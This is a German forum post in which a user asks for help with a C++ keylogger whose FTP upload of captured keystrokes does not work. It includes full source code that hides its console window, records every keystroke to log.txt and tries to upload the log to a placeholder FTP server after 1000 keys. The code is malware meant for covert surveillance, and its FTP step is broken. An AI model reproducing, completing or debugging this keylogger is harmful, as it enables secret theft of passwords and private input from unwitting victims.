Hallo,


Ich versuche derzeit einen Keylogger in C++ zu programmieren.
Der keylogger soll eine Textdatei per ftp uploaden allerdings klappt das bei mir irgendwie nie^^


ich hab im Board diesen Quellcode gefunden der aber bei mir nicht funktioniert. Ich benutze Dev C++.

Code:
#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
using namespace std;
//Testet ob ein Key abgefragt wurde
string GetKey(int Key)
{
   string KeyString = "";
   if (Key == 8)
      KeyString = "[del]";
   else if (Key == 13)
      KeyString = "\n";
   else if (Key == 32)
      KeyString = " ";
   else if (Key == VK_PAUSE)
      KeyString = "[PAUSE]";
   else if (Key == VK_CAPITAL)
      KeyString = "[CAPITAL]";
   else if (Key == VK_SHIFT)
      KeyString = "[SHIFT]";
   else if (Key == VK_TAB)
      KeyString = "[TAB]";
   else if (Key == VK_CONTROL)
      KeyString = "[STRG]";
   else if (Key == VK_ESCAPE)
      KeyString = "[ESC]";
   else if (Key == VK_END)
      KeyString = "[END]";
   else if (Key == VK_HOME)
      KeyString = "[HOME]";
   else if (Key == VK_LEFT)
      KeyString = "[LINKS]";
   else if (Key == VK_RIGHT)
      KeyString = "[RECHTS]";
   else if (Key == VK_UP)
      KeyString = "[HOCH]";
   else if (Key == VK_DOWN)
      KeyString = "[RUNTER]";
   else if (Key == VK_SNAPSHOT)
      KeyString = "[SNAPSHOT]";
   else if (Key == VK_NUMLOCK)
      KeyString = "[NUMLOCK]";
   else if (Key == 190 || Key == 110)
      KeyString = ".";
   //Char klein machen
   else if (Key >=96 && Key <= 105)
      KeyString = Key-48;
   else if (Key > 47 && Key < 60)
      KeyString = Key;
   if (Key != VK_LBUTTON || Key != VK_RBUTTON)
   {
      if (Key > 64 && Key < 91)
      {
         if (GetKeyState(VK_CAPITAL))
            KeyString = Key;
         else
         {
            Key = Key + 32;
            KeyString = Key;
         }
      }
   }

   return KeyString;
}

int main()
{
   //Fenster verstecken
   SetConsoleTitle(TEXT("abcdefghij"));
   HWND muh = FindWindow(0,TEXT("abcdefghij"));
   ShowWindow(muh,SW_HIDE);
   //End
   string Filename = "log.txt";
   string Temp = "";
   fstream log;
   log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
   int keyvalue = 0; //Anzahl der eingegeben Keys
   while(true)
   {

      Sleep(5);

      for(int i = 8; i < 191; i++)
      {
         if(GetAsyncKeyState(i)&1 ==1)
         {
            Temp = GetKey (i);

            log.write(Temp.c_str(), Temp.size());
            log.close();
            log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
         }

      }
      if(keyvalue == 1000)//Wenn 1000 keys eingegeben wurden
      {
         //Sende log zum ftp server
         system("ftp.exe");//Öffne FTP.exe
         system("open SERVERNAME");//Servername
         system("ftpusername");
         system("ftppasswort");
         system("cd html"); //Verzeichniss
         system("send"); //Senden
         system("log.txt");// Log.txt wird hochgeladen

      }
   }
}